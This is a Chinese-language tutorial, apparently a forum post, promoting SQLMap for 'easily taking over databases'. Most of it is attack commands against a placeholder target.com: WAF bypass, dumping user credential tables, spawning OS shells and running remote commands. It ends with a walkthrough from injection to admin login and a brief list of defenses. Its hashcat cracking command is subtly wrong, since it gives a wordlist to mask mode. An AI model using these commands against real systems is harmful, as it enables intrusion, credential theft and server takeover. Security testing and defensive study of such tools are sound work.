SQLMap 终极指南:一行命令,轻松拿下数据库!
💡 SQL 注入太复杂?手工测试太麻烦?
🔥 神兵利器 SQLMap,自动化检测 + 爆破数据,黑客与安全工程师的必备神器! 🔥
今天带你全面掌握 SQLMap,从基础到实战,看完就能上手!💪
💡 1. 什么是 SQLMap?
SQLMap 是一款开源的 自动化 SQL 注入检测和利用工具,能帮助安全测试人员轻松挖掘数据库漏洞,甚至直接 提取数据、控制数据库、远程执行命令!
✅ 自动检测 SQL 注入漏洞
✅ 支持多种数据库(MySQL、PostgreSQL、SQL Server、Oracle...)
✅ 可绕过 Web 应用防火墙(WAF)
✅ 支持 GET、POST、Cookie 等多种注入方式
✅ 可直接爆破数据库中的账号、密码、敏感信息
📌 安装 SQLMap
- # Kali Linux / Parrot OS 已预装,无需安装
- # 其他 Linux / macOS / Windows
- git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
- cd sqlmap
- python3 sqlmap.py --help
复制代码
📌 查看 SQLMap 版本
🔥 2. SQLMap 基础命令
📌 自动检测 SQL 注入
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --batch
复制代码
💡 SQLMap 会自动检测 SQL 注入点,并列出可利用的注入方式。
📌 指定 HTTP 请求方法(测试 POST 注入)
- python3 sqlmap.py -u "http://target.com/index.php" --data "id=1" --batch
复制代码
📌 测试 Cookie 注入
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --cookie="PHPSESSID=abcd1234" --batch
复制代码
📌 绕过 WAF 防火墙
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --random-agent --tamper=space2comment
复制代码
💡 --random-agent 伪装浏览器身份,--tamper 通过变形 SQL 语句绕过安全防护。
🎯 3. SQLMap 数据库信息获取
📌 获取所有数据库
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --dbs
复制代码
📌 获取当前数据库
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --current-db
复制代码
📌 列出数据库中的表
- python3 sqlmap.py -u "http://target.com/index.php?id=1" -D target_db --tables
复制代码
📌 查看表结构
- python3 sqlmap.py -u "http://target.com/index.php?id=1" -D target_db -T users --columns
复制代码
📌 爆破数据库数据
- python3 sqlmap.py -u "http://target.com/index.php?id=1" -D target_db -T users -C username,password --dump
复制代码
💡 直接提取 username 和 password 字段的数据,轻松获取账号信息!
📌 获取数据库用户
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --current-user
复制代码
📌 获取数据库管理员权限
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --is-dba
复制代码
💡 如果返回 True,说明当前用户具有数据库管理员权限,可以进行更高级的攻击!
💀 4. SQLMap 高级玩法
📌 上传 Webshell(获取服务器权限)
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --os-shell
复制代码
💡 如果数据库用户具有 FILE 权限,SQLMap 可以直接上传 Webshell,远程控制服务器!
📌 获取服务器信息
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --os-info
复制代码
📌 执行远程系统命令
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --os-cmd "whoami"
复制代码
💡 如果数据库用户有 xp_cmdshell(Windows)或 sys_exec()(Linux)权限,可以直接执行远程命令!
📌 暴力破解数据库密码
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --passwords
复制代码
💡 SQLMap 可以自动爆破数据库用户密码!
📖 5. 实战案例:从 0 到数据库管理员
💡 假设我们发现目标网站 http://target.com/index.php?id=1 存在 SQL 注入,我们该如何利用?
第一步:检测 SQL 注入
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --batch
复制代码
🔹 SQLMap 发现 id 参数存在 SQL 注入漏洞!
第二步:获取数据库信息
- python3 sqlmap.py -u "http://target.com/index.php?id=1" --dbs
复制代码
🔹 发现数据库 target_db
第三步:获取 users 表中的用户名和密码
- python3 sqlmap.py -u "http://target.com/index.php?id=1" -D target_db -T users --dump
复制代码
🔹 获取到管理员账号 admin 和哈希密码 5f4dcc3b5aa765d61d8327deb882cf99
第四步:破解哈希密码
- echo "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 3 rockyou.txt
复制代码
🔹 破解成功,密码是 password!
第五步:登录后台,获取更多权限!
🔹 使用 admin:password 登录后台,进一步利用服务器!
🛡️ 6. 如何防御 SQL 注入?
✅ 使用预编译 SQL 语句(Prepared Statements)
✅ 对所有输入进行过滤,禁止特殊字符
✅ 最小化数据库权限,避免 root 账户运行 Web 服务
✅ 使用 Web 应用防火墙(WAF),拦截 SQL 注入攻击
✅ 定期安全检测,修复 SQL 注入漏洞
🚀 7. 终极总结
🔥 SQLMap 是最强大的 SQL 注入工具,自动化检测 + 数据提取,秒破数据库!
🔥 支持绕过 WAF、上传 Webshell、远程命令执行,功能超强大!
🔥 防御 SQL 注入是安全运维的必修课,学会防御,避免被黑! |